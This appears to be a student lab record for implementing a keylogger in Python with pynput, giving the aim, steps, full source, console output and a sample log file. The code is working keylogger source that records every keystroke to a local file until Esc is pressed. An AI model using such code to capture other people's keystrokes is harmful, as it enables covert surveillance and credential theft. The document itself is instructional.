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To implement a keylogger to record the keystrokes.

ALGORITHM:

1. Import `Key` and `Listener` from `pynput.keyboard`.
2. Create an empty list `the_keys` to store pressed keys.
3. Define `functionPerKey(key)` to append pressed keys to `the_keys` and write them to a file.
4. Define `storeKeysToFile(keys)` to write keys to a log file.
5. Define `onEachKeyRelease(the_key)` to stop the keylogger when "Esc" key is pressed.

PROGRAM:

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# importing the required modules
from pynput.keyboard import Key
from pynput.keyboard import Listener

# creating an empty list to store pressed keys
the_keys = []

# creating a function that defines what to do on each key press
def functionPerKey(key):
    # appending each pressed key to a list
    the_keys.append(key)

    # writing list to file after each key pressed
    storeKeysToFile(the_keys)

# defining the function to write keys to the log file
def storeKeysToFile(keys):
    with open(r"C:\Users\REC\Desktop\keylog.txt", "w") as log:
        for the_key in keys:
            the_key = str(the_key).replace("&quot;", "&quot;")
            log.write(the_key)

def onEachKeyRelease(the_key):
    # In case, the key is &quot;Esc&quot;, then stopping the keylogger
    if the_key == Key.esc:
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return False

with Listener(
    on_press = functionPerKey,
    on_release = onEachKeyRelease
) as the_listener:
    the_listener.join()
```

OUTPUT:

Keyloggers.py

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Python 3.11.5 (tags/v3.11.5:0ce6ba9, Aug 24 2023, 14:38:34) [MSC v.1936 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license()" for more information.
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== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
k
...
e
>>>
== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
g
...
w
...
e
>>>
```

keylog.txt:

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gKey.enterwKey.entereKey.enter`Key.backspaceKey.esc
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RESULT: